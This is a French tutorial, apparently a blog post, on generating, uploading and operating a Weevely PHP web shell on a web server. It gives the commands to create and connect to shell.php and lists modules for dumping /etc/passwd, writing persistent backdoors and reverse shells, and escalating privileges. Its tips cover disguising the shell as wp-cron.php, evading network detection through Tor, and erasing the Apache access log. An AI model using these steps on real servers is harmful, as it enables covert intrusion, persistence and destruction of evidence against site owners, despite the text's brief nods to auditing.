🐚 Qu’est-ce qu’un shell PHP ?
Un shell PHP est un simple script (souvent une poignée de lignes) que vous placez sur le serveur cible. Dès qu’il est appelé par HTTP, il exécute vos commandes système et vous renvoie la sortie, le tout via votre navigateur ou votre terminal.
Autrement dit, vous obtenez un terminal à distance sans SSH : pratique pour l’audit… et, hélas, pour les attaquants.
Weevely, la star du genre, fonctionne avec n’importe quel CMS – WordPress, PrestaShop, Drupal, le petit site vitrine du voisin… Tout ce qu’il lui faut ? Du PHP et une seule URL de dépôt. Pas d’interface graphique, tout se pilote en ligne de commande, façon Néo dans Matrix.
Générer un shell PHP avec Weevely ?
Une fois le terminal ouvert, vous devez générer le fichier à envoyer sur votre serveur grâce à la commande suivante:
weevely generate MyPa$$w0rd shell.php
MyPa$$w0rd → mot de passe de chiffrement (ou « phrase secrète »).
shell.php → le fichier à uploader, par FTP, SCP, ou même via une faille d’upload non filtré.

🔗 Se connecter au serveur
Uploadez shell.php à la racine ou dans un répertoire discret, puis lancez :
weevely https://votre-site.com/shell.php MyPa$$w0rd

Si tout se passe bien, vous voilà dans le terminal distant. Tapez ls pour faire coucou au contenu du répertoire !

🏆 Top 10 des commandes (et modules) Weevely
💡 Les commandes internes de Weevely commencent par un nom de module, vous pouvez toujours lancer en mode shell natif avec shell puis lancer vos commandes Linux habituelles.
| Commande 🎯 | Ce qu’elle fait ✨ | Effet sur votre mission 🚀 |
|---|---|---|
🗂️ ls |
Liste le contenu du dossier courant | Repérage express de vos cibles |
🚀 cd /chemin |
Change de répertoire | Naviguez comme un ninja entre les répertoires |
📥 download fichier |
Télécharge un fichier vers votre machine | Backups ou configs sensibles en un clin d’œil |
📤 upload local remote |
Envoie un fichier de votre poste vers le serveur | Déployez outils ou correctifs instantanément |
🔎 find / -name "config.php" |
Recherche récursive d’un fichier | Dénichez les trésors (ou fuites de credentials) |
🩺 system_info |
Affiche l’OS, le noyau, PHP, modules… | Évaluez rapidement la surface d’attaque |
🔐 passwd_dump |
Extrait et affiche /etc/passwd |
Audit des comptes locaux |
🌐 net_stat |
Montre les connexions et ports ouverts | Détectez services et backdoors actives |
☠️ backdoor_write |
Crée un accès persistant (reverse shell, cron…) | Gardez la main… ou testez votre détection SIEM |
❓ help |
Liste toutes les fonctionnalités Weevely | Votre antisèche intégrée |
🧑💻 Astuces de pro
1. Alias automatique
Placez vos commandes fétiches dans ~/.weevely/rc : elles se lanceront à chaque session. Idéal pour un workflow turbo.
2. Obfuscation du fichier shell
Renommez shell.php en wp-cron.php ou feed.php pour masquer la pilule ; combinez avec chmod 444 pour brouiller les pistes.
3. Chiffrement du trafic
Avec weevely --tor ou via un proxy HTTPS, vous chiffrerez la session et passerez (presque) sous les radars réseau.
4. Escalade de privilèges contrôlée
Le module priv tente les exploits « classiques » (Dirty Cow, sudo mal configuré…). Gardez-le sous le coude, mais loggez tout pour pouvoir documenter vos tests.
5. Nettoyage après mission
Pensez à rm shell.php et à supprimer vos traces dans les logs Apache :
echo > /var/log/apache2/access.log
6. SEO friendly !
Dans un contexte white-hat, profitez-en pour auditer la structure du site (duplicate content, erreurs 404, etc.) directement côté serveur : double bénéfice sécurité + référencement.